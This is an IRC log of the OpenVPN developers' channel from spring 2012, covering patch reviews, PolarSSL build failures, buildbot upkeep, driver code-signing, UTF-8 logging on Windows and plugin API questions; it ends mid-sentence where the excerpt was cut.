<@dazo> would you mind to peek at it before submitting it to ML? 05:29 <@dazo> *have a peek 05:29 <@dazo> http://fpaste.org/nsCa/ 05:30 <@dazo> just to see that my argument for the configure.ac change isn't too lame 05:31 <@dazo> cron2: agreed ... june 6th would be a good date for a beta 05:31 <@dazo> which means, alpha2 next week? 05:43 <@cron2> what is new in v2? AFAICS, only one check in configure.ac is dropped, and v1 dropped two, right? 05:48 <@dazo> yeah ... but it's the commit message with my argument which needs sanity check this time :) 05:49 <@dazo> I saw that those structs it tests for is useful to check for ... but instead of fixing 'struct tun_pi' checking - which will be there if you have linux/if_tun.h ... we can still get rid of the LINUX_IPV6 macro 05:49 * dazo should probably prefix this commit message with "Clean-up:" 05:49 <@mattock> summary out 05:50 <@mattock> lunch, then ESXi fun 05:53 <@cron2> dazo: yeah, mark it clean-up: and otherwise, I'm fine 05:54 <@dazo> cron2: thx a lot! 05:55 <@cron2> dazo: have you sorted out with andj why -master is failing to build with polar 1.1.1/1.1.2? 05:55 <@cron2> I have installed polar 1.1.2 on fbsd90 yesterday, and now it fails with the same havege_rand compile error as the linux buildslaves 05:55 <@dazo> cron2: I didn't have time yesterday evening (and my head was tired when I came home) ... but I'll look at it today 06:57 * dazo loves gmane + curl 06:58 <@dazo> curl -D- http://mid.gmane.org/1335521425-23391-1-git-send-email-davids@redhat.com 2>/dev/null | awk -F\ '/^Location: /{print $2}' 06:58 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at mid.gmane.org) 06:59 <@dazo> and my ack script will result in this being added to the commit log 06:59 <@dazo> Acked-by: Gert Doering <gert@greenie.muc.de> 06:59 <@dazo> Acked-by: Alon Bar-Lev <alon.barlev@gmail.com> 06:59 <@dazo> Message-Id: 1335521425-23391-1-git-send-email-davids@redhat.com 06:59 <@dazo> URL: http://article.gmane.org/gmane.network.openvpn.devel/6351 06:59 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 06:59 <@dazo> mattock: ^^ you thinkg that will make life easier? 07:00 <@mattock> cron2: apparently the public test server has FreeBSD installed and ready to go 07:01 <@mattock> dazo: ah, nice 07:01 <@mattock> that will definitely help, will need to experiment with it a bit 07:02 <@dazo> I'll do a push soonish, so you can have a look 07:03 <@dazo> (In the article view of gmane, if you click on the "Subject" line ... you'll get the thread view) 07:26 <@vpnHelper> RSS Update - testtrac: crash: packet_id_debug_print: sl may be null <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=4e846b39a35b5f9501e4283be0af620d7c9c8b5c> || Clean-up: Presume that Linux is always IPv6 capable at build time <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=bff413d5c47645b525988a66c138abf7d198e228> 07:41 * dazo goes for lunch ... and then try to figure out the PolarSSL 1.1 patches 09:12 * krzee lurked yesterday but it looked like a power meeting so i stayed quiet ;] 09:13 <@mattock> krzee: if had raised your voice, you'd be in the attendee list now :P 09:13 <+krzee> heheh 09:13 <@mattock> like ecrist 09:13 <+krzee> no need ;] 09:14 <@mattock> I think ecrist really wanted to be on the list :P 09:14 <+krzee> hey you guys got some good work done yesterday! 09:14 <@mattock> yeah, many changes that hopefully prove very useful 09:17 < ecrist> it was really a vanity move on my part 09:17 < ecrist> ;) 09:18 <+krzee> lol 09:19 <@mattock> ecrist: good that you recognize that :) 09:19 <@mattock> it's the first step towards healing 09:19 <+krzee> lol 09:19 < ecrist> Hello, my name is ecrist, and I'm an attention whore. 09:19 <+krzee> does the second have to do with his hostname? ;] 09:19 <@mattock> "hi ecrist!" 09:20 < ecrist> !whoami 09:20 <@vpnHelper> fbsddev 09:23 <@dazo> !whoami 09:23 <@vpnHelper> developers 09:23 < ecrist> speaking of me, we're going to attempt to record our talk in two weeks and make it available 09:24 < ecrist> not sure what sort of time it'll take to get that posted after we get back, but it's in the plan 09:31 <@dazo> cool! 09:32 <@mattock> ecrist: cron2 is setting up the public test server 09:32 <@mattock> so it's finally getting into real use 09:43 < ecrist> neat 09:59 * cron2 is fighting cisco ipv6 10:22 * krzee is fighting the yealink t26p 10:23 <+krzee> it will give me root, oh yes it will 13:01 <@dazo> ugh ... side-tracked with paid job after lunch :( 13:01 * dazo will try to look at polarssl in the weekend 13:04 < ecrist> stupid paid-jobs 13:04 <@dazo> heh :) 13:15 -!- dazo is now known as dazo_afk 13:24 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:24 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 16:11 -!- dazo_afk is now known as dazo 17:05 * cron2 agrees with ecrist :-) 17:05 <@cron2> it was worse for me today... and *interesting* semi-paid-job got in the way 17:06 <@cron2> fighting cisco IOS IPv6 implementations, and being able to argue with the actual developers about "what *should* the box do here?" (not with stupid first-level TAC support drones) 18:28 <@dazo> cron2: just pushed out the polarssl stuff ... together with some other fixes 18:28 <@dazo> $ git shortlog 4e846b3..4b87c86 18:28 <@dazo> Adriaan de Jong (6): 18:28 <@dazo> Added support for new PolarSSL 1.1 RNG 18:28 <@dazo> Added a configuration option to enable prediction resistance in the PolarSSL random number generator. 18:28 <@dazo> Use POLARSSL_CFLAGS instead of POLARSSL_CRYPTO_CFLAGS in configure.ac 18:28 <@dazo> Removed support for PolarSSL < 1.1 18:28 <@dazo> Updated README.polarssl with build system changes. 18:28 <@dazo> Removed stray "Fox-IT hardening" string. 18:28 <@dazo> Alon Bar-Lev (2): 18:28 <@dazo> build: use stdbool.h if available 18:28 <@dazo> build: fix typo in --enable-save-password 18:30 <@vpnHelper> RSS Update - testtrac: Removed stray "Fox-IT hardening" string. <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=4b87c868333e6aca5cb78bc345059e61c72b9423> || build: fix typo in --enable-save-password <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=8993847de727cf503bec58b41fbf0f71b9c617e7> || build: use stdbool.h if available <http://openvpn.git. 18:35 <@dazo> jamesyonan: didn't notice you were here until now :) Would you mind having a look at this patch from Jan Just Keijser? He's got an implementation for elliptic curves 18:35 <@dazo> http://thread.gmane.org/gmane.network.openvpn.devel/5352 18:35 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 18:38 * dazo calls it a day for now ... but will check in tomorrow 18:39 -!- dazo is now known as dazo_afk --- Day changed Sat Apr 28 2012 02:04 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:57 <@cron2> oi, cool 03:59 <@cron2> yeeha, freebsd90 is the only builder that is all green 04:23 <@cron2> oh. debian is also all green. so the fame is shared with mattock :-) 04:23 <@cron2> (but I have two builders all green now! fbsd82 is also green) 04:26 <+krzee> like the hulk? 04:27 <@cron2> indeed! mighty freebsd hulk! 04:28 <+krzee> btw the avengers ROCKED 07:02 <@cron2> meh, polarssl fails its own test suite on netbsd 5.1/amd64 07:04 <@andj> I can pass on the errors to Paul if you want? 07:04 <@andj> He always wants better platform support, but can't test everywhere 07:04 <@andj> So he's usually more than willing to fix stuff 07:08 <@cron2> andj: yes, we could do that. It compiles (with some warnings) and then fails in test_suite_mpi (segfault) and test_suite_rsa (rsa_gen_key and rsa_check_privkey) 07:09 <@andj> What are the errors? I might be able to identify the problem too 07:09 <@andj> (reasonably familiar with the code) 07:09 <@cron2> I'll send you mail 07:11 <@cron2> sent 07:11 <@andj> could you forward it to adriaandejong@gmail.com please? 07:11 <@andj> I haven't got my work mail handy right now :) 07:11 <@cron2> sore, sorry 07:11 <@cron2> sure 07:12 <@andj> not your fault, should have specified that 07:19 <@cron2> so, anything obvious? 07:20 <@andj> Not to me... I'll pass the info on tho Polar, see what he says 07:21 <@cron2> the warnings are weird, about "signed char" being used as a subscript - these variables are all "size_t" 07:22 <@andj> hmm, is size_t defined in the compiler you used? 07:22 <@cron2> it's gcc 07:22 <@andj> :) 07:22 <@cron2> typedef _BSD_SIZE_T_ size_t; 07:22 <@cron2> mmmh 07:22 <@cron2> (<sys/types.h> 07:23 <@cron2> and that is 07:23 <@cron2> amd64/ansi.h:#define _BSD_SIZE_T_ unsigned long 07:25 <@cron2> ah 07:26 <@cron2> that was a red herring 07:26 <@andj> tolower seems to be the problem area 07:26 <@cron2> it's actually warning about the "tolower()" things, not about "str[str_i]" 07:26 <@cron2> yep :) 07:26 <@andj> :) 07:26 <@cron2> (and tolower is a macro) 07:26 <@cron2> #define tolower(c) ((int)((_tolower_tab_ + 1)[(c)])) 07:27 <@andj> what's the definition on NetBSD? 07:27 <@andj> aha 07:28 <@andj> and because c is a char, it doesn't like it? 07:28 <@cron2> I guesst the warning is caused by "heya, this could be a *signed* char, in which case array subscription will not do what you expect" 07:29 <@andj> What happens when you cast the *s1 and *s2 to int? 07:29 <@cron2> I've added a handful of (unsigned char) casts, let's see waht happens next 07:29 <@cron2> ... the warnings are gone... 07:29 <@andj> generating those tests can take forever 07:30 <@cron2> yeah, I only have 2GHz available (ESX with resource limits..) 07:30 <@andj> if you run test_suite_rsa through valgrind, does it tell you where it segfaults? 07:30 <@cron2> _mpi segfaults, _rsa just prints errors 07:31 <@cron2> ok, no change, it still segfaults in _mpi and errors in _rsa, meh 07:31 <@cron2> base_test_mpi_write_file_1 ........................................0941379D00FED1491FE15DF284DFDE4A142F68AA8D412023195CEE66883E6290FFE703F4EA5963BF212713CEE46B107C09182B5EDCD955ADAC418BF4918E2889AF48E1099D513830CEC85C26AC1E158B52620E33BA8692F893EFBB2F958B4424 07:31 <@cron2> Program received signal SIGSEGV, Segmentation fault. 07:31 <@cron2> 0x00007f7ffdbd1cb9 in fclose () from /usr/lib/libc.so.12 07:32 <@andj> hmm, this al sounds like an assumption on variable/pointer sizes or something 07:33 <@cron2> it it helps, I can give paul an account on that VM (it's not used for anything else but being an openvpn buildslave) 07:33 <@cron2> anyway, need to leave and do household chores... bbl 07:34 <@andj> same story, I'll pass on the info 07:34 <@andj> thanks 15:07 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 15:09 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:09 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:46 -!- dazo_afk is now known as dazo 16:32 -!- dazo is now known as dazo_afk 16:41 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 17:06 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:06 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:00 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] --- Day changed Sun Apr 29 2012 02:38 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 02:38 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:58 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 10:43 < ecrist> ping dzo 10:43 < ecrist> what was it you wanted me to do differently for signing the snapshots wrt sending email to -devel? 11:22 -!- psha [~psha@213.208.162.69] has quit [Ping timeout: 252 seconds] 14:01 -!- Sevet [Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 14:01 < Sevet> hi, is there a way i can kill a specific client by its common name within an openvpn plugin, without opening a connection to the management interface? 16:47 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 16:58 -!- Sevet [Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [] 17:33 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:33 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:57 -!- Sevet [Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 17:59 < Sevet> hi, does anyone have an example of how to return an iroute setting for a client through return_list on OPENVPN_PLUGIN_CLIENT_CONNECT_V2? (just the generating return_list part) 17:59 < Sevet> i'm unclear on the correct values for name/value... i've tried setting name=strdup("iroute") & value=strdup("172.16.1.0 255.255.255.0") but it doesn't appear to be taking effect 18:18 < Sevet> nevermind, i've found why 18:29 -!- Sevet [Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [] 22:02 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 22:24 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:24 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Apr 30 2012 01:11 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 01:11 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 01:11 -!- mode/#openvpn-devel [+o andj] by ChanServ 01:41 <@mattock> http://www.datamation.com/news/tech-comics-geeks-give-birth-2.html 01:41 <@vpnHelper> Title: Tech Comics: Geeks Give Birth -- What Shall We Name Him or Her?: Page 2 - Datamation (at www.datamation.com) 02:19 -!- Onior [~Onior@113.210.229.50] has joined #openvpn-devel 02:19 < Onior> hi hi 02:20 < Onior> anyone around? 04:31 -!- dazo_afk is now known as dazo 04:32 <@dazo> Onior: yeah, kind of 04:33 <@dazo> !ask 04:33 <@vpnHelper> "ask" is (#1) don't ask to ask, just ask your question please or (#2) http://www.latinsud.com/answer/ or (#3) http://www.catb.org/~esr/faqs/smart-questions.html to learn how to get help 05:01 <@cron2> mornin' 05:01 <@dazo> morning :) 05:54 <@mattock> morning :P 06:02 < Onior> yo 06:03 < Onior> i want to ask if openvpn can bypass my quota and make it unlimited.. with high speed of course 06:03 < Onior> is that possible> 06:04 <@dazo> uhm ... there's no quota or any limitations on openvpn community edition 06:04 <@mattock> Onior: you should ask this on #openvpn 06:04 <@mattock> and bypassing an ISP quota... probably not, depending on how they do the tracking 06:04 < Onior> oo..okok 06:05 < Onior> i go check forum then 06:44 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: mattock] 07:23 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:23 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:32 -!- Onior [~Onior@113.210.229.50] has quit [] 08:40 <@mattock> I'll try signing the TAP-drivers with a self-signed key to test Alon's osslsigncode integration 09:38 <@mattock> haha, success: http://users.utu.fi/sjsepp/osslsigncodetest.png 09:40 < ecrist> w00t 09:42 <@cron2> cool 09:48 <@mattock> I'll recreate the keys and document the process 09:49 <@mattock> my hope is that james will use Alon's tap-windows buildsystem himself with his official keys... would be easiest 09:49 <@mattock> for everybody 10:43 <@mattock> here's how it works: https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem#Code-signing 10:43 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 10:43 <@mattock> not difficult, but lots of silly certificate conversions 11:38 <@mattock> might require a few conversions more if James has a .spc file also 14:34 -!- dazo is now known as dazo_afk 17:00 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 17:13 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:13 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:01 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 20:03 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:03 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:28 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 23:37 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:37 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Tue May 01 2012 05:42 -!- novaflash is now known as novaflash_away 05:42 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 244 seconds] 05:44 -!- novaflash_away is now known as novaflash 05:44 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 09:02 <@cron2> so. polar 1.1.2+patch installed on netbsd 5.1, now all *BSD buildslaves should build fine 10:28 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 15:16 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 15:35 <@andj> cool 17:18 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:18 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:58 -!- Netsplit *.net <-> *.split quits: uuuppz, @cron2, @vpnHelper, novaflash 19:02 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 19:02 -!- ServerMode/#openvpn-devel [+o cron2] by calvino.freenode.net 19:03 -!- novaflash [~novaflash@openvpn/user/novaflash] has joined #openvpn-devel 19:03 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 19:03 -!- uuuppz [~uuuppz@78.129.207.46] has joined #openvpn-devel 19:03 -!- ServerMode/#openvpn-devel [+o vpnHelper] by calvino.freenode.net --- Log closed Tue May 01 19:44:44 2012 --- Log opened Wed May 02 08:12:45 2012 08:12 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 08:12 -!- Irssi: #openvpn-devel: Total of 14 nicks [6 ops, 0 halfops, 1 voices, 7 normal] 08:12 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 09:06 < ecrist> dazo/cron2: have either of you looked into ticket #49? https://community.openvpn.net/openvpn/ticket/49 09:06 <@vpnHelper> Title: #49 (--float does not work with --server) – OpenVPN Community (at community.openvpn.net) 09:06 < ecrist> user on the main channel with that issue 09:08 <@dazo> I believe we need to get James to dig into that one ... as that's related to --float on the server side, if I understands it correctly 09:10 < ecrist> it is 09:31 <@vpnHelper> RSS Update - tickets: #206: --tls-server does not work together with --float <https://community.openvpn.net/openvpn/ticket/206> 12:33 <@dazo> cron2: still here? 12:57 <@cron2> back 13:00 <@dazo> cron2: just pondering on the --up file stuff 13:00 <@dazo> what's the argument, how you see it, for having it all in one function vs separate functions? ... and vice versa 13:01 <@cron2> I don't really mind. Run-time and code size costs should be completely neglible - and "separate function" is what we already have, so that's a benefit :-) 13:02 <@cron2> Even for code readability it does not make a big difference either way 13:02 <@cron2> one might argue that "too many functions make code paths hard to follow" and, as well, that "too long functions should be split"... :-) 13:02 <@cron2> what we want is "get the functionality in, and get tunnelblick with 2.3 alpha out" :-)) 13:03 <@dazo> agreed 13:03 <@dazo> I'm just thinking coding wise ... if someone decides later on to make use of this feature somewhere else ... would that be confusing, having to quite similar but different approaches? 13:03 <@dazo> and should we imply escaping on all files? 13:05 <@dazo> file names don't take arguments ... and currently it just blindly takes all as a single filename ... that's wrong for executables where you migth have arguments ... but other places with just file names ... is the difference really that big 13:05 <@dazo> (I haven't re-read the patch yet, just thinking) 13:08 <@dazo> further, the CHKACC_FILE type flag doesn't make much sense on a check_cmd_access() call ... as an executable binary cannot be anything else than a file 13:08 <@cron2> re-read the patch :-) 13:09 * dazo began doing that :) 13:09 <@cron2> but anyway, I think it's fine the way it is - single-file arguments *can* contain blanks, but exec-arguments not, and the current patch is using the "official" functions to do path (de-)escaping, so this all fits nicely together 13:10 <@cron2> we could leave off the CHKACC_FILE argument, that's true 13:10 <@dazo> agreed ... that part of the code I do agree to 13:10 <@dazo> actually, the whole type flag should be CHKACC_FILE only when calling check_file_access() 13:11 <@cron2> yep 13:11 <@dazo> and mode should be R_OK|X_OK ... otherwise, it won't work too ... no need to check for anything else on the command aspect 13:12 <@cron2> on unix *binaries*, X_OK is actually sufficent. For scripts, you need R_OK, though. Which might cause some spurious errors... 13:13 <@dazo> really? ... I thought R_OK was needed for binaries as well 13:13 <@cron2> no, a binary ("real", like ELF) can be mode 111 --x--x--x (which is often used for suid binaries, rws--x--x) 13:13 <@dazo> heh, yeah :) 13:14 * dazo don't see suid apps much often anymore on Linux ... it's replaced by other stricter mechanisms these days 13:16 <@dazo> maybe we should only enforce X_OK on executables then ... just to avoid a potential issue in suid situations 13:16 <@dazo> if it's a script, and lacking R_OK ... then it will be a "permission denied" error, I presume 13:16 <@dazo> Okay, I'll apply this patch and we'll clean it up some more 13:17 <@dazo> having almost the same API, makes the usage a bit more vauge ... esp. in regards to mode and type flags 13:20 * cron2 agrees to that 13:52 -!- IpNextGen [~IpNextGen@unaffiliated/ipnextgen] has joined #openvpn-devel 13:54 -!- IpNextGen [~IpNextGen@unaffiliated/ipnextgen] has left #openvpn-devel ["Quitte"] 13:54 * dazo pushes out ... and sends a patch to the ML 13:58 <@vpnHelper> RSS Update - testtrac: Clarified the docs and help screen about what a 'cmd' is <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=d62859980c30362b36b7338fc99fe76e4ecb2cbd> || Fix file access checks on commands <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=a050bcef9cf71e7479551677b116879e6c563bd5> 14:20 -!- dazo is now known as dazo_afk 15:06 * cron2 looks forward to see all-green in buildbot :) 15:08 < ecrist> where is build-bot's interface? 15:08 <@cron2> http://10.7.36.101:8010/builders 15:08 <@cron2> inside the openvpn community vpn 15:10 < ecrist> hrm 15:13 < ecrist> neat 16:36 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 17:24 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:24 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:11 -!- novaflash [~novaflash@openvpn/user/novaflash] has quit [Ping timeout: 276 seconds] 18:14 -!- novaflash [~novaflash@openvpn/user/novaflash] has joined #openvpn-devel 21:53 <+krzee> i have a question regarding forward security in openvpn… with static keys i know there is no forward encryption… but in mode server, if the attacker were to save a years worth of traffic (including handshakes and all) then why would he be unable to use the cert/key of the user (which he aquired later) to find the key that rotated every hour? 22:23 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 23:00 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:00 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu May 03 2012 02:35 -!- coderrr [~steve@pdpc/corporate-sponsor/privateinternetaccess.com/coderrr] has joined #openvpn-devel 03:20 -!- dazo_afk is now known as dazo 03:23 <@dazo> krzee: andj might give a much better answer ... but I'll try .... because of the KEX (Key exchange protocol), using the Diffie-Hellman algorithm 03:23 <+krzee> ahh ok, the dh saves it 03:23 <+krzee> thanks 03:24 <@dazo> okay, you know DH :) the answer got far much simpler :) 03:25 <+krzee> =] 03:59 <@vpnHelper> RSS Update - testtrac: Change version to indicate the master branch is not a version <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=7a845401043dbd9cce1aa7e1d33a5df50ad76c71> || Simplify check_cmd_access() function <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=0576a9f2f8c8a7cf2d50579e6762df6c86b388c5> || build: windows: convert resources to U 04:07 <@mattock> cron2: re: public test server 04:07 <@mattock> maybe we could put the CA to the test server itself? 04:11 <@mattock> damn diskspace on ubuntu-1004-amd64 04:11 <@mattock> I probably have to recreate the VM or expand the disk... 04:12 <@mattock> maybe I'll setup ubuntu 12.04 VMs while I'm at it... 04:13 <@dazo> cron2: ipv6 patch - scott zeid ... shall I drop the ball on that one? 04:15 <@dazo> mattock: can you verify alon's statement regarding the UCS-2/UTF-8 thread ... that using --log will generate proper logs? that it's just the cmd.exe console which messes up the displaying? 04:15 <@dazo> if you can confirm that, I'll pull that patch in 04:15 <@mattock> dazo: ah, ok 04:16 <@dazo> mattock: and if you could consider this one as well ... that'd be great ... http://article.gmane.org/gmane.network.openvpn.devel/6383 04:16 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 04:16 <@dazo> with that in place, we're getting in shape for an alpha2 04:17 <@mattock> ok, I'll test the --log first 04:17 <@dazo> thx! 04:18 <@mattock> dazo: this one: "If you add --log parameter you will see this correctly" ? 04:18 <@dazo> yes 04:18 <@mattock> ok 04:23 -!- Netsplit *.net <-> *.split quits: waldner 04:34 <@cron2> ubuntu slave is still running out of disk :( 04:54 <@mattock> cron2: yeah, I know 04:55 <@dazo> this is the list of submitted patches I have on my radar ... http://www.fpaste.org/WRzw/ 04:55 <@mattock> I'll rebuild the damn thing after I've tested the UCS-2/UTF-8 thingy 04:55 <@mattock> cron2: shall we put the CA on the public test server? 04:57 <@cron2> mattock: no particular opinion on that, do whatever is more convenient for you 04:57 <@mattock> ok, I'll do it that way 04:57 <@mattock> then you can create your own keys on demand 04:57 <@mattock> say, if you add a buildslave 05:04 <+krzee> has https://community.openvpn.net/openvpn/ticket/202 been fixed in the tree yet? 05:04 <@vpnHelper> Title: #202 (easy-rsa/whichopensslcnf does not detect openssl 1.0.1 correctly) – OpenVPN Community (at community.openvpn.net) 05:07 <@mattock> dazo: the logs seem to be in UTF-8: http://users.utu.fi/sjsepp/openvpn-log.txt 05:07 <@mattock> search for tls_auth_file 05:08 <@dazo> $ file openvpn-log.txt 05:08 <@dazo> openvpn-log.txt: UTF-8 Unicode text, with CRLF line terminators 05:08 <@dazo> indeed! 05:08 <@mattock> looks funky (two-byte characters) on Windows (e.g. in wordpad, less, vi), but good on Linux 05:08 <@dazo> thx! :) 05:08 <@mattock> oh yes, "file"... didn't occur to me :D 05:08 <@dazo> yeah ... try the notepad++ thingy? 05:08 <@mattock> yep, that works better 05:09 <@mattock> but the intention was to get UTF-8 logs out, right? 05:11 <@mattock> i.e. that's the correct behavior 05:11 <@mattock> ok, now some more buildslaves 05:12 <@mattock> with more diskspace, I might add :P 05:14 <@dazo> yeah, that sounds correct to me 05:14 <@dazo> d12fk: ^^^ do you agree? 05:17 <@d12fk> dazo: about what in particular? 05:17 <@dazo> that log files are expected to be in UTF-8 with OpenVPN on windows with the UTF-8 stuff we're reviewing/testing 05:18 <@dazo> the GUI will tackle that properly? 05:19 <@d12fk> yes, i always aim at the smallest diff between the windows and the unix version of openvpn 05:21 <@d12fk> the gui displays them correctly and the console/cmd.exe should do so also when using the Lucida Console font 05:21 <@d12fk> The raster fonts are ANSI only 05:21 <@d12fk> but alon mentioned that already 05:22 <@d12fk> ppl with unicode demand usually use unicode tools 05:22 <@d12fk> like notepad++ istaed of the MS stuff 05:26 <@dazo> okay, good ... then I'll think it's safe to pull in that patch in the end 05:27 <@dazo> mattock: didn't james ACK this patch, if it would be tested? ... or shall we wait for james' final approval? 05:32 <@mattock> hmm, let's see what the meeting summary says... 05:34 <@mattock> linked to the summar on the topic page: https://community.openvpn.net/openvpn/wiki/IrcMeetings 05:34 <@vpnHelper> Title: IrcMeetings – OpenVPN Community (at community.openvpn.net) 05:35 <@mattock> dazo: I think it's got ACK from James, see the first segment: http://thread.gmane.org/gmane.network.openvpn.devel/6350 05:35 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 05:38 <@dazo> mattock: hmmm ... but no clear ACK from anyone .... :/ 05:42 * dazo don't dare to ACK this one, as he don't understand the windows utf-8/ucs-2 stuff much at all 06:21 * cron2 neither :) 06:44 <@mattock> count me in, too :) 06:45 <@mattock> I'll mail about my findings and let's see what happens 06:52 <@dazo> mattock: I'd Cc james ... and see if he'll respond to that 06:55 <@mattock> ok, sent 09:48 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 09:55 -!- dazo is now known as dazo_afk 11:00 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:00 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:32 -!- waldner [waldner@unaffiliated/waldner] has joined #openvpn-devel 11:33 -!- Sevet [Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 12:10 < Sevet> hi, can someone explain the 'struct openvpn_plugin_string_list' linked list structure to me please? 12:11 < Sevet> i'm filling it with several name=config value=iroute... entries using this http://pastebin.com/6BLBPBPK 12:11 < Sevet> and can verify the structure is ok and contains all the entries using this http://pastebin.com/bHqMJnee 12:11 < Sevet> but openvpn is only sending one of the iroute entries 12:11 < Sevet> s/sending/seeing/ 12:12 < Sevet> is the problem that i have multiple name=config entries in the list? should that be unique? 12:14 < Sevet> hmmm, think i've probably figured out the answer. is value not a line but the entire ccd file, so i should separate the lines using \n? (writing a test case now) 12:17 <@andj> It's very quiet in here :) 12:18 <@andj> Sevet: sorry, I can't answer your question 12:18 <@andj> not very familiar with those interfaces 12:19 <+krzee> tried seeing how openvpn does it when you have multiple ccd entries in a file? 12:24 < Sevet> ok, my new code worked 12:25 < Sevet> it's the entire file in the ->value, lines separated by \n 12:25 < Sevet> so it's the equivalent of openvpn loading the entire ccd file in as a single string 13:22 < ecrist> http://security.freebsd.org/advisories/FreeBSD-SA-12:01.openssl.asc 13:22 < ecrist> :( 13:26 < Sevet> nice... 13:26 < Sevet> 2 in a month :) 13:26 < ecrist> 2 what? 13:27 < Sevet> oh wait, it's (partly) the same one as march CVE-2012-0884 13:28 < Sevet> was reading it thinking 'that sounds just like the one in march too' :) 13:28 < Sevet> more than a month anyway... 13:50 -!- dazo_afk is now known as dazo 13:53 <@dazo> Sevet: I'm somewhat more familiar with the plug-in interface (even though it's months since I looked at it last time) 13:54 <@dazo> but yeah, the CCD stuff in C plug-ins means you provide the complete file at once, using \n as line separator .... a complete file in a buffer 13:58 <@dazo> I believe it will consider both the --client-config-dir file and it will be merged with the C plug-in, but I don't recall without looking at the code which interface gets the priority on conflicting arguments 14:04 < Sevet> ok, thanks 14:05 < Sevet> i'll just be using the plugin interface - now i know it all goes in one entry my problem's solved 14:05 < Sevet> thanks for confirming my interpretation :) 14:10 <@dazo> no worries ... if developing something for the future, please consider 